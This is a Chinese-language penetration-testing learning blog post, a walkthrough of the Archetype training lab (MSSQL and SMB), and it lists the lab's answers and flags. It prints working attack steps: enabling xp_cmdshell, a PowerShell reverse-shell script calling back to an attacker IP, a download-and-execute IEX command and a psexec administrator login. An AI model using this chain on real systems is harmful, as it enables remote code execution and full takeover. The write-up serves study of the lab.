渗透测试学习day5


靶机:Archetype

考察的是MSSQL和SMB

Task1

问题:哪个 TCP 端口托管数据库服务器?

1433

nmap扫描一下

nmap -sV -min-rate 1000 -p- -v 10.129.230.73

在这里插入图片描述

Task2

问题:通过 SMB 提供的非管理共享的名称是什么?

backups

用smbclient的-L参数查看下,发现只有backups后面没有$
在这里插入图片描述

Task3

问题:SMB 共享上的文件中标识的密码是什么?

M3g4c0rp123

我们用backups用户匿名访问后,列一下目录然后下载该文件
在这里插入图片描述
查看即可得到密码

Task4

问题:可以使用 Impacket 集合中的哪些脚本来建立与 Microsoft SQL Server 的经过身份验证的连接?

mssqlclient.py

kali上自带的mssql客户端impacket-mssqlclient可以用来连接靶机上的SQL服务
结合上面nmap的扫描结果发现smb的系统是windows
在这里插入图片描述
然后再用刚刚下载下来的文件中的用户名进行登录

impacket-mssqlclient ARCHETYPE/[email protected] -windows-auth

输入密码连接成功
在这里插入图片描述

Task5

问题:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令 shell?

xp_cmdshell

Task6

问题:可以使用什么脚本来搜索在Windows主机上升级权限的可能路径?

winPEAS

Task7

问题:哪个文件包含管理员的密码?

ConsoleHost_history.txt

Task8

问题:提交user的flag

3e7b102e78218e935bf3f4951fec21a3

Task9

问题:提交root的flag

b91ccec3305e98240082d4474b848528

7-9题的解题步骤如下
我们先要知道当前登录用户的身份信息

select is_srvrolemember('sysadmin');

可以发现为admin用户
在这里插入图片描述然后就是配置和启用 SQL Server 中的高级选项和 xp_cmdshell 存储过程的,依次执行下面命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; 
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

然后发现可以命令执行
在这里插入图片描述
不过输入ipconfig时发现不行,所以我们尝试反弹shell
在这里插入图片描述
让目标靶机下载我们kali上的shell文件并执行

创建名为shell.ps1的PowerShell 脚本,它的作用建立一个 TCP 连接并执行远程命令。
(注意ip可以ifconfig中查看tun0,也就是我们openvpn的)

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.153", 4443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }

while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "# "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}

$client.Close()

我们在该文件夹搭建服务器

python3 -m http.server 80

在这里插入图片描述可以发现目录下有我们的shell文件
在这里插入图片描述
然后开启监听4443端口

nc -lvnp 4443

再回到连接的数据库,执行下面命令反弹shell

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.153/shell.ps1\");""

当出现#时说明成功
在这里插入图片描述
获取到了shell后,直接命令访问如下文件,能拿到用户的flag

type C:\Users\sql_svc\Desktop\user.txt

在这里插入图片描述
然后就是如何获取root的flag

使用如下命令来访问PowerShell历史记录文件
在这里插入图片描述知道了密码后直接登录即可,用psexec工具远程登陆提权

impacket-psexec [email protected]

找到flag

type C:\Users\Administrator\Desktop\root.txt

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_73512445/article/details/134767331